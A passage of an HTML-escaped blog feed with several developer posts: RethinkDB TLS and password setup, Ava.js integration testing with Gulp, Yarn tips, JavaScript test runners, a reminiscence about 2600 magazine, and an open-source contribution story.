&lt;p&gt;command: [“rethinkdb”, “—tls-min-protocol”, “TLSv1”, “—tls-ciphers”, “EECDH+AESGCM:EDH+AESGCM:AES256+EECDH:AES256+EDH:AES256-SHA”, “—canonical-address”, “domain.com”, “—http-tls-key”, “/tls/key.pem”, “—http-tls-cert”, “/tls/cert.pem”, “—driver-tls-key”, “/tls/key.pem”, “—driver-tls-cert”, “/tls/cert.pem”, “—bind” ,“all”]&lt;/p&gt;
&lt;p&gt;Important notes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The first command arguments — &lt;em&gt;tls-min-protocol&lt;/em&gt; and &lt;em&gt;— tls-ciphers&lt;/em&gt; are for working with older SSL versions (applicable to Mac OS setups)&lt;/li&gt;
&lt;li&gt;Notice the &lt;em&gt;— canonical-address&lt;/em&gt; argument is also set to &lt;em&gt;domain.com&lt;/em&gt;, and you might want to change that to localhost if you created the self-signed cert with a &lt;em&gt;CN=localhost&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You’ll notice there isn’t any cluster related configuration but you can add them as well if you need to so they can join the SSL connection: &lt;em&gt;— cluster-tls — cluster-tls-key /tls/key.pem — cluster-tls-cert /tls/cert.pem — cluster-tls-ca /tls/ca.pem&lt;/em&gt;&lt;/p&gt;
&lt;h3 id=&quot;nodejs-driversetup&quot;&gt;Node.js Driver Setup&lt;/h3&gt;
&lt;p&gt;The RethinkDB drivers support an &lt;em&gt;ssl&lt;/em&gt; optional object which either sets the certificate using the &lt;em&gt;ca&lt;/em&gt; property, or sets the &lt;em&gt;rejectUnauthorized&lt;/em&gt; property to accept or reject self-signed certificates when connecting.&lt;/p&gt;
&lt;p&gt;A snippet for the ssl configuration to pass to the driver:&lt;/p&gt;
&lt;p&gt;ssl: {&lt;br&gt;
rejectUnauthorized: false&lt;br&gt;
// ca: fs.readFileSync(__dirname + ‘../tls/cert.pem’).toString().trim()&lt;br&gt;
}&lt;/p&gt;
&lt;h3 id=&quot;rethinkdb-passwordsetup&quot;&gt;RethinkDB Password Setup&lt;/h3&gt;
&lt;p&gt;Now that the connection is secured, it only makes sense to connect using a user/password which are not the default.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Security Alert! RethinkDB ships with a default user and no password set which is insecure to say the least and was one of the main reasons for hundred of thousands of MongoDBs getting pwned on AWS a while back.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;PLEASE CHANGE THE DEFAULT USER ACCOUNT&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;To set it up, update the compose file to also include the &lt;em&gt;— initial-password&lt;/em&gt; argument so you can set the default &lt;em&gt;admin&lt;/em&gt; user’s password. For example:&lt;/p&gt;
&lt;p&gt;command: [“rethinkdb”, “—initial-password”, “changeMe”]&lt;/p&gt;
&lt;p&gt;Of course you need to append this argument to the rest of the command line options in the above compose file.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Preferably, don’t store the password on the Dockerfile but rather use an environment variable or another method that doesn’t expose secrets.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Now, update the Node.js driver settings to use a user and password to connect:&lt;/p&gt;
&lt;p&gt;{&lt;br&gt;
user: ‘admin’,&lt;br&gt;
password: ‘changeMe’&lt;br&gt;
}&lt;/p&gt;
&lt;p&gt;Congratulations! You’re now eligible to “Ready for Production” stickers.&lt;/p&gt;
&lt;p&gt;Don’t worry, I already mailed them to your address.&lt;/p&gt;</content:encoded></item><item><title>Wiring up Ava.js Integration Tests with Express, Gulp, but not Supertest.</title><link>https://lirantal.com/blog/wiring-up-ava-js-integration-tests-with-express-gulp-but-not-supertest-a2edc75a042/</link><guid>https://lirantal.com/blog/wiring-up-ava-js-integration-tests-with-express-gulp-but-not-supertest-a2edc75a042/</guid><description>Gulp, the streaming build system for JavaScript source code probably doesn’t require an introduction, and most probably you’ve configured…</description><pubDate>Thu, 16 Mar 2017 19:12:50 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;http://github.com/gulpjs/gulp&quot;&gt;Gulp&lt;/a&gt;, the streaming build system for JavaScript source code probably doesn’t require an introduction, and most probably you’ve configured it, used it to run a project, or at least heard about it among the plethora of build tools like &lt;strong&gt;&lt;em&gt;grunt&lt;/em&gt;&lt;/strong&gt;, &lt;strong&gt;&lt;em&gt;webpack&lt;/em&gt;&lt;/strong&gt; and &lt;strong&gt;&lt;em&gt;broccoli&lt;/em&gt;&lt;/strong&gt; (yes, that’s a real JavaScript project. I know).&lt;/p&gt;
&lt;p&gt;Working on my new &lt;a href=&quot;http://github.com/lirantal/Riess.js&quot;&gt;side project&lt;/a&gt; I needed to configure a test integrations setup that would connect Ava to run integrations test. For that, I needed to also bring up the actual server with the databases so it can process the APIs.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;If you’re still using Mocha I highly recommend trying out Ava, or at least moving on to Tape. They are in similar context but a totally different paradigm.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Some naive approaches to set it up were all considered yet they didn’t cut it for me for different reasons. Here is a review of the process I reviewed:&lt;/p&gt;
&lt;h3 id=&quot;supertest&quot;&gt;Supertest&lt;/h3&gt;
&lt;p&gt;Using supertest I could wrap ExpressJS on an ephemeral port, share this instance among all the tests. That could work but I didn’t like it because:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Sharing the supertest instance or somehow making it available to all of my tests means that I need to share context and this is completely against Ava paradigms that promotes a no-shared-state approach for minimizing side effects and parallelism. Ava actually doesn’t even allow that in it’s &lt;strong&gt;&lt;em&gt;test.before()&lt;/em&gt;&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;With Ava running the tests concurrently, I would need to worry about tearup and teardown for ExpressJS and the rest of the connectors (Mongoose and Sequelize) which seems to me like setting up a bed of nails.&lt;/li&gt;
&lt;li&gt;Supertest, from the family of Superagent, doesn’t seem like choice I want to make for the long run. It has worked forever only with callbacks, except for a recent patch that made it support Promises, but even that came too long that the community created &lt;a href=&quot;http://github.com/WhoopInc/supertest-as-promised&quot;&gt;supertest-as-promised&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So rejecting Supertest, and Superagent, I’m off to find another alternative, hopefully with a more promising library like &lt;a href=&quot;http://github.com/mzabriskie/axios&quot;&gt;Axios&lt;/a&gt; (yes yes, pun definitely intended!)&lt;/p&gt;
&lt;h3 id=&quot;reflection-on-architecture&quot;&gt;Reflection on Architecture&lt;/h3&gt;
&lt;p&gt;It was quickly made clear I want to de-couple the integration tests flow meaning that the tests or test runner won’t need to know or care about bringing up the server. It’s cleaner and makes it more scalable if for some cases I want to have a dedicated test server which test will run on, and another server which the integration tests will execute.&lt;/p&gt;
&lt;h3 id=&quot;gulp&quot;&gt;Gulp&lt;/h3&gt;
&lt;p&gt;So actually before moving to the obvious solution with Gulp, let’s quickly consider other viable approaches:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Concurrently — if you didn’t hear about it before, &lt;a href=&quot;http://www.npmjs.com/package/concurrently&quot;&gt;concurrently&lt;/a&gt; is a Node.js tool that allows executing commands in parallel. In simple terms for Linux users, it’s basically like doing &lt;strong&gt;&lt;em&gt;command1 &amp;#x26;&amp;#x26; command2&lt;/em&gt;&lt;/strong&gt; except it isn’t (the details aren’t correct because command2 will not run if command1 fails but let’s not dwell on the details).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The downside with concurrently is that it might take some seconds to bring up the server while the tests will already spinning up, hence failing.&lt;/p&gt;
&lt;p&gt;The other option:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;npm scripts — a more straight-forward approach is setting up something like &lt;strong&gt;&lt;em&gt;“test:integrations”: “node — harmony server.js &amp;#x26; sleep 5; npm run gulp test:integrations”&lt;/em&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Technically that works but there’s code smell all over it. Who knows if 5 seconds are enough, and if some times it takes only 2 seconds to bring up the server then I’m wasting 3 seconds for no reason.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The time you wait for tests to run is the time you aren’t writing code, unless you’re using Wallaby.js. Hah!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;So Gulp is a natural solution to spin up the server and run the integration tests on the same host, which thanks to &lt;strong&gt;&lt;em&gt;gulp-ava&lt;/em&gt;&lt;/strong&gt; plugin makes it a breeze as well.&lt;/p&gt;
&lt;p&gt;A rough implementation is as follows:&lt;/p&gt;
&lt;p&gt;gulp.task(‘test:integration’, function(done) {&lt;br&gt;
runSequence(‘env:test’, ‘server:bootstrap’, ‘ava’, done);&lt;br&gt;
});&lt;/p&gt;
&lt;h3 id=&quot;final-words&quot;&gt;Final Words&lt;/h3&gt;
&lt;p&gt;Give Ava a try, she’s a beauty, and don’t forget to test test test.&lt;/p&gt;</content:encoded></item><item><title>3 Things You Didn’t Know About Yarn</title><link>https://lirantal.com/blog/3-things-you-didnt-know-about-yarn-877416ac40c3/</link><guid>https://lirantal.com/blog/3-things-you-didnt-know-about-yarn-877416ac40c3/</guid><description>Everyone talk about Yarn’s speed and reliability but no one mentions any of the below nice-to-know facts about Yarn.</description><pubDate>Tue, 28 Feb 2017 14:56:22 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;/images/blog/1__1PdacXrzbm0A1vxX0Jglrw.jpeg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Everyone talk about Yarn’s speed and reliability but no one mentions any of the below nice-to-know facts about Yarn.&lt;/p&gt;
&lt;h3 id=&quot;1-yarn-depends-onnpm&quot;&gt;1. Yarn Depends on npm&lt;/h3&gt;
&lt;p&gt;Well guess what? Yarn’s source code actually depends on npm to be present because it uses it to run it’s own npm run-scripts which help build the Yarn package itself:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/0__b2wlcwGIgoyDRm28.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;2-yarnstyle&quot;&gt;2. Yarn Style&lt;/h3&gt;
&lt;p&gt;Yarn coding convention is all about 2 space indentations, semicolons, and actually extending what seems to be Facebook’s own JavaScript coding conventions:&lt;/p&gt;
&lt;p&gt;eslint-config-fb-strict&lt;/p&gt;
&lt;p&gt;Surprise surprise, Yarn developers also use Flow extensively.&lt;/p&gt;
&lt;h3 id=&quot;3-built-in-spellcheck&quot;&gt;3. Built-In Spellcheck&lt;/h3&gt;
&lt;p&gt;Yarn is so much user-friendly that it’s developers added a functionality to automatically detect possible typos which are classic for the ‘dependencies’ clause.&lt;/p&gt;
&lt;p&gt;Say we init a new npm module:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/0__MpiHFtDzqw9oiYy9.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;And then we deliberately add a typo for the dependencies clause as such:&lt;/p&gt;
&lt;p&gt;{&lt;br&gt;
“name”: “test”,&lt;br&gt;
“version”: “1.0.0”,&lt;br&gt;
“main”: “index.js”,&lt;br&gt;
“license”: “MIT”,&lt;br&gt;
“dependancies”: {&lt;br&gt;
“express”: ”*“&lt;br&gt;
}&lt;br&gt;
}&lt;/p&gt;
&lt;p&gt;Running Yarn will produce the following:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/0__XNePQv9__2x2sE43u.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Nice huh? This is thanks to the following source code for Yarn that does it’s best to help you out when in need:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/0__dgYwdfyJpSuTWYSE.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;</content:encoded></item><item><title>Node.js Yarn’ing for Local Packages</title><link>https://lirantal.com/blog/node-js-yarning-for-local-packages-9a7970edea7/</link><guid>https://lirantal.com/blog/node-js-yarning-for-local-packages-9a7970edea7/</guid><description>This is not another praise for npm package management with Yarn but rather a concise recipe for working with locally developed packages.</description><pubDate>Wed, 08 Feb 2017 16:40:30 GMT</pubDate><content:encoded>&lt;p&gt;This is not another praise for npm package &lt;a href=&quot;https://hackernoon.com/tagged/management&quot;&gt;management&lt;/a&gt; with Yarn but rather a concise recipe for working with locally developed packages.&lt;/p&gt;
&lt;p&gt;npm modules begin their lives when you init them on your local dev machine, but there comes a point when you want to test them out or plain use them with other &lt;a href=&quot;https://hackernoon.com/tagged/node-js&quot;&gt;Node.js&lt;/a&gt; projects you have.&lt;/p&gt;
&lt;p&gt;With the npm client we’d be creating a link in the filesystem, but with Yarn you can really manage their versioning and use them just like any other dependency with all rules applied for dependencies.&lt;/p&gt;
&lt;h3 id=&quot;modules-on-the-filesystem-yarn-addfile&quot;&gt;Modules on the Filesystem: yarn add file://&lt;/h3&gt;
&lt;p&gt;Use the following command to add a package from the filesystem:&lt;/p&gt;
&lt;p&gt;yarn add file:/Users/lirantal/code/my-npm-module&lt;/p&gt;
&lt;p&gt;Good to keep in mind when doing that:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Because Yarn treats this as a real dependency it means it will really install it to your local &lt;em&gt;node_modules/&lt;/em&gt; directory, so if you make changes on the npm module, they won’t be reflected on the installed version you have in the Node.js project.&lt;/li&gt;
&lt;li&gt;Yarn loves cache and it also caches those local npm modules, you can force a re-install by doing:&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;// Remove the package and clean local cache&lt;br&gt;
yarn remove my-npm-mdule&lt;br&gt;
yarn cache clean&lt;/p&gt;
&lt;p&gt;// Re-install it&lt;br&gt;
yarn add file:/…&lt;/p&gt;
&lt;h3 id=&quot;modules-on-github-git&quot;&gt;Modules on Github / Git&lt;/h3&gt;
&lt;p&gt;Another thing that comes in handy with Yarn is that you can push your npm modules to a Git repository and tell Yarn to use that. This is useful if you don’t want to submit the npm package to an npm repository.&lt;/p&gt;
&lt;p&gt;this is not specific to Yarn and the npm client can do the same&lt;/p&gt;
&lt;p&gt;If you have a package on GitHub you can tell Yarn to install it using:&lt;/p&gt;
&lt;p&gt;yarn add git+ssh://git@github.com/lirantal/my-npm-module.git&lt;/p&gt;
&lt;p&gt;The same caching and versioning applies here as it did for the filesystem install.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://bit.ly/HackernoonFB&quot;&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/400/1*0hqOaABQ7XGPT-OYNgiUBg.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;
&lt;a href=&quot;https://goo.gl/k7XYbx&quot;&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/400/1*Vgw1jkA6hgnvwzTsfMlnpg.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;
&lt;a href=&quot;https://goo.gl/4ofytp&quot;&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/400/1*gKBpq1ruUi0FVK2UM_I4tQ.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&quot;http://bit.ly/Hackernoon&quot;&gt;Hacker Noon&lt;/a&gt; is how hackers start their afternoons. We’re a part of the &lt;a href=&quot;http://bit.ly/atAMIatAMI&quot;&gt;@AMI&lt;/a&gt; family. We are now &lt;a href=&quot;http://bit.ly/hackernoonsubmission&quot;&gt;accepting submissions&lt;/a&gt; and happy to &lt;a href=&quot;mailto:partners@amipublications.com&quot;&gt;discuss advertising &amp;#x26; sponsorship&lt;/a&gt; opportunities.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;If you enjoyed this story, we recommend reading our &lt;a href=&quot;http://bit.ly/hackernoonlatestt&quot;&gt;latest tech stories&lt;/a&gt; and &lt;a href=&quot;https://hackernoon.com/trending&quot;&gt;trending tech stories&lt;/a&gt;. Until next time, don’t take the realities of the world for granted!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__35tCjoPcvq6LbB3I6Wegqw.jpeg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;</content:encoded></item><item><title>Hidden features of Gulp for integration tests with Ava.js.</title><link>https://lirantal.com/blog/hidden-features-of-gulp-for-integration-tests-with-ava-js-bc6cad0b6475/</link><guid>https://lirantal.com/blog/hidden-features-of-gulp-for-integration-tests-with-ava-js-bc6cad0b6475/</guid><description>This is a bit of a follow-up to my previous post on Wiring up Ava.js Integration Tests with Express, Gulp, but not Supertest.</description><pubDate>Mon, 23 Jan 2017 15:49:51 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;/images/blog/1__YsUi26LJRYfye__AaQDQjyw.jpeg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;This is a bit of a follow-up to my previous post on &lt;a href=&quot;https://www.linkedin.com/pulse/wiring-up-avajs-integration-tests-express-gulp-supertest-liran-tal/&quot;&gt;Wiring up Ava.js Integration Tests with Express, Gulp, but not Supertest&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;To make a long story short, I ended up using Gulp to bring up a full ExpressJS server so I can test the APIs using Ava. No mocking, or stubbing. The point is to really test the integration of the APIs with the Mongoose and Sequelize.js databases. Obviously it spins up a test schema/data to work on.&lt;/p&gt;
&lt;p&gt;An example implementation of that would be:&lt;/p&gt;
&lt;p&gt;gulp.task(‘test:integration’, function(done) {&lt;br&gt;
runSequence(‘env:test’, ‘server:bootstrap’, ‘ava’, done);&lt;br&gt;
});&lt;/p&gt;
&lt;p&gt;While seemingly a straight-forward solution this entails some issues. The bootstrapped server hangs the event loop open because the event handler is blocking for connections. The result is that even though Ava tests finished executing the server is still up and running and Node.js doesn’t quit.&lt;/p&gt;
&lt;h3 id=&quot;streamorama&quot;&gt;Streamorama&lt;/h3&gt;
&lt;p&gt;Thanks to the fact that Gulp’s foundation are Streams we can take advantage of that. Gulp plugins allow emitting errors and there are generally other events you can subscribe to.&lt;/p&gt;
&lt;p&gt;This is completely undocumented in Gulp documentation or README and the only evidence for that lies in Gulp’s test source code.&lt;/p&gt;
&lt;p&gt;So here’s a little trick we can do:&lt;/p&gt;
&lt;p&gt;gulp.task(‘ava’, function() {&lt;br&gt;
gulp.src(defaultAssets.server.tests)&lt;br&gt;
.pipe(plugins.ava({verbose: true}))&lt;br&gt;
.on(‘error’, function(err) {&lt;br&gt;
console.log(err.message);&lt;br&gt;
process.exit(1);&lt;br&gt;
})&lt;br&gt;
.on(‘end’, function() {&lt;br&gt;
console.log(‘completed’);&lt;br&gt;
});&lt;br&gt;
});&lt;/p&gt;
&lt;p&gt;We can subscribe to the &lt;strong&gt;&lt;em&gt;error&lt;/em&gt;&lt;/strong&gt; and &lt;strong&gt;&lt;em&gt;end&lt;/em&gt;&lt;/strong&gt; events, and then kill the Node.js process that runs gulp.&lt;/p&gt;
&lt;p&gt;This is pretty much it, mostly undocumented as far as I could find.&lt;/p&gt;
&lt;h3 id=&quot;on-nodejssecurity&quot;&gt;On Node.js Security&lt;/h3&gt;
&lt;p&gt;I invite you to read &lt;strong&gt;my&lt;/strong&gt; &lt;strong&gt;newly published book&lt;/strong&gt; &lt;a href=&quot;http://bit.ly/securenodejs&quot;&gt;Essential Node.js Security&lt;/a&gt; to get insights on security measures, the right npm packages to use, and secure code guidelines.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/0__nRZFQpDlUVdnZ__9R.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;</content:encoded></item><item><title>The JavaScript Test Runners Evolution</title><link>https://lirantal.com/blog/the-javascript-test-runners-evolution-789c7a64b9e3/</link><guid>https://lirantal.com/blog/the-javascript-test-runners-evolution-789c7a64b9e3/</guid><description>Like with everything else in the JavaScript ecosystem, test automation tools are also going through a high pursuit speed race and nobody is…</description><pubDate>Tue, 10 Jan 2017 21:55:23 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;/images/blog/1__V6DVoWCl6nOxCT4W58Xkfg.jpeg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Like with everything else in the JavaScript ecosystem, test automation tools are also going through a high pursuit speed race and nobody is taking prisoners.&lt;/p&gt;
&lt;h3 id=&quot;mocha-andtape&quot;&gt;Mocha and Tape&lt;/h3&gt;
&lt;p&gt;Mocha has been the clear defacto choice for JavaScript developers and framework authors for quite some time now. I bet if we were to spider GitHub repositories we’ll find the majority of projects using it.&lt;/p&gt;
&lt;p&gt;I’ll even give you a seemingly accurate statistics of a &lt;a href=&quot;http://www.google.com/trends/explore?q=mochajs,tapejs&quot;&gt;Google Trends graph&lt;/a&gt; for Mocha vs Tape:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/0__vteGRnlohuxnzTdN.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Tape is taking pride in doing things better than how Mocha is doing them, whether they are better code methodologies such as no global state shared between tests, and others such as providing a TAP output result which computers, parsers, bots, and some humans, can easily understand.&lt;/p&gt;
&lt;p&gt;Tape was the conscience evolution choice after Mocha, but then came Ava.&lt;/p&gt;
&lt;p&gt;Oh pretty Ava…&lt;/p&gt;
&lt;h3 id=&quot;ava&quot;&gt;Ava&lt;/h3&gt;
&lt;p&gt;While I haven’t actually used Tape, just by comparing it with Ava it seems like Ava is Tape’s older brother. Or younger sister. oh well, you got the point, Ava is the new kid everyone wants to play with.&lt;/p&gt;
&lt;p&gt;Highlights about Ava, yet there are probably more:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Speed&lt;/strong&gt; — Speed of tests running matters. It matters for CI and for you, because the time you wait for tests to finish you could have invested in writing and debugging code. Ava approaches this by spawning different Node.js processes to run your tests, and asynchronously running the tests inside them. This benefits from the side effect shared state between tests.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Opinionated&lt;/strong&gt; — Mocha doesn’t ship with an assertion library and is open for you to make use of anything you wish, may it be Chai, Should.js, or Node.js’s core Assert. Ava however, doesn’t leave room for confusion and provide it’s own assertion capabilities baked into Ava.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Explicit&lt;/strong&gt; — With Ava, all the library facilities you use are explicitly defined. Where in Mocha you have globals like &lt;strong&gt;&lt;em&gt;describe&lt;/em&gt;&lt;/strong&gt; or &lt;strong&gt;&lt;em&gt;it&lt;/em&gt;&lt;/strong&gt;, in Ava everything is declared, no globals.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No Shared State&lt;/strong&gt; — Ava makes use of Node.js’s asynchronous nature and runs tests in parallel, and also in dedicated Node.js processes. This means that making changes to files you require will not have an effect on other tests. Also, the use of &lt;strong&gt;&lt;em&gt;beforeEach&lt;/em&gt;&lt;/strong&gt; and friends in Mocha wouldn’t make sense anymore due to the parallelism of tests.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;JS Edge&lt;/strong&gt; — Ava ships with modern JavaScript capabilities out of the box where it will happily transpile all of your modern ES6/ES7 code in your tests (&lt;strong&gt;not&lt;/strong&gt; in your libraries if you include them). This means you get the benefits of async/await and other gems when you write your test files.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Disclaimer: Ava does support running tests serially through the &lt;strong&gt;&lt;em&gt;test.serial()&lt;/em&gt;&lt;/strong&gt; method or the &lt;strong&gt;&lt;em&gt;— serial&lt;/em&gt;&lt;/strong&gt; command argument for all tests, and it also has before/after hooks such as &lt;strong&gt;test.before()&lt;/strong&gt;. Granted they exist for convenience and specific use cases, they aren’t encouraged.&lt;/p&gt;
&lt;h3 id=&quot;worthy-mentions&quot;&gt;Worthy Mentions&lt;/h3&gt;
&lt;p&gt;Some other tools worth a mention if you’re in the test mood, each definitely deserve it’s own post.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://wallabyjs.com/&quot;&gt;Wallaby.js&lt;/a&gt; — A test runner that integrates with an IDE for a quick feedback loop on code coverage and tests.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://facebook.github.io/jest/&quot;&gt;Jest.js&lt;/a&gt; — Originating from Facebook it obviously provides solutions for a more powerful React.js test framework, but is not limited to and states to support any JavaScript code testing.&lt;/p&gt;
&lt;p&gt;There’s also a test library called &lt;a href=&quot;http://github.com/taylorhakes/painless&quot;&gt;Painless&lt;/a&gt;. Yes, I’m not kidding, there is definitely such a test library.&lt;/p&gt;
&lt;h3 id=&quot;whats-next&quot;&gt;What’s next?&lt;/h3&gt;
&lt;p&gt;Would be interesting to see what yields next in 2017 (yes, that ES6 pun was intentional).&lt;/p&gt;</content:encoded></item><item><title>The 1990s and 2600: The Hacker Quarterly</title><link>https://lirantal.com/blog/the-1990s-and-2600-the-hacker-quarterly-8284e5e140bd/</link><guid>https://lirantal.com/blog/the-1990s-and-2600-the-hacker-quarterly-8284e5e140bd/</guid><description>Oh those magnificent days of the 1990s.</description><pubDate>Fri, 06 Jan 2017 07:09:08 GMT</pubDate><content:encoded>&lt;p&gt;Oh those magnificent days of the 1990s.&lt;/p&gt;
&lt;p&gt;Skateboards, punks, disc-man, phreaking, IRC, slackware, packetstormsecurity, Michael Jackson and Java. Ahh wait, scratch that last one, who’s actually thankful for Java? :)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/0__GYmpXHjEXiMsrEi8.jpg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Those days when everything seemed possible, and all those locked systems that were just waiting on the shell prompt, longing for someone to login.&lt;/p&gt;
&lt;p&gt;Wanted or not, that cursor bleeped and bleeped, as if it were giving you a wink so that you make your move. It’s your turn.&lt;/p&gt;
&lt;p&gt;Brute force, social engineering, key-loggers, and backdoor exploits, what wouldn’t you do to get inside and have a peak?&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/0__fbwzAkHRs5DpifQX.gif&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Those days, 2600 was a magazine that often released papers on hacker culture and technology, but it was more than that, or at least it seemed that me and my cyberspace friends have made more of it. It became a shared common ground on our digital medium to share ideas, and to challenge each other.&lt;/p&gt;
&lt;p&gt;I’m bringing this topic because security today is much more important than it was before. I believe that in the past we were somewhat naive and hungry for knowledge, but hackers, the good ones, did not have any malicious intent.&lt;/p&gt;
&lt;p&gt;The last couple of years have been a stormy weather for software engineers and security researchers having to deal with major security flaws found in popular platforms such as Java, Flash, SSL libraries, Linux’s GHOST vulnerability, Shellshock and not to mention widely adopted mobile and web applications that have been compromised.&lt;/p&gt;
&lt;p&gt;If you take one thing from this post, let it be that you are more aware of security implications in the software you create. Either that, or transfer the risk to a security team that can be responsible for this.&lt;/p&gt;
&lt;p&gt;P.S.&lt;br&gt;
I may, or may not, have shared from personal experience or knowledge.&lt;/p&gt;
&lt;p&gt;Photo Credits: nmap.org, 2600.com, wikipedia&lt;/p&gt;
&lt;p&gt;Also, I invite you to read my newly published book &lt;a href=&quot;http://bit.ly/securenodejs&quot;&gt;Essential Node.js Security&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__1WPY7__gXrww5uoF0ZEF3BA.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;</content:encoded></item><item><title>When Startups Go Open Source and Merge Your Code</title><link>https://lirantal.com/blog/when-startups-go-open-source-and-merge-your-code-db8a54f25bd1/</link><guid>https://lirantal.com/blog/when-startups-go-open-source-and-merge-your-code-db8a54f25bd1/</guid><description>This Open Source thing is the real deal.</description><pubDate>Thu, 29 Dec 2016 20:26:57 GMT</pubDate><content:encoded>&lt;p&gt;This Open Source thing is the real deal.&lt;/p&gt;
&lt;p&gt;I have &lt;a href=&quot;https://www.linkedin.com/pulse/open-source-too-contributing-documentation-liran-tal&quot;&gt;previously written about how easily you can contribute to other open source projects&lt;/a&gt;, but contributing code to startups and help them succeed?&lt;br&gt;
Well yes, that too.&lt;/p&gt;
&lt;p&gt;One of the tech newsletters I’m subscribed to mentioned &lt;a href=&quot;https://www.scanr.xyz/&quot;&gt;scanr&lt;/a&gt;, a young OCR as a Service startup that gives you an API to send pictures to and get back text.&lt;br&gt;
Well doesn’t that sound like an interesting hack for the weekend? Sure does!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/0__yPZpof2dXF1lCJbE.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Curious as I am, taking a dive in their documentation shows they are very tightly built on open source solutions, and further sniffing around reveals they also share much of this as open source, including their programming SDK bundles, on Github. Where else?&lt;/p&gt;
&lt;p&gt;Being me, I just had to take a look at their Node.js module. It’s quite simple, but examining the code immediately shows some issues. Minor stuff, but left un-attended. Fixing it up is so trivial and simple, so why not? why not?&lt;/p&gt;
&lt;p&gt;There goes that Pull-Request thing which magically merges my fixes with that repository:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/0__gY1483LXCakNnAaG.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Contribution is warmly appreciated and merged.&lt;br&gt;
Another good thing we did for the world, and for another person.&lt;/p&gt;
&lt;p&gt;Goodluck scanR!&lt;/p&gt;
&lt;p&gt;Share with me! What repositories and projects did you contribute to recently?&lt;br&gt;
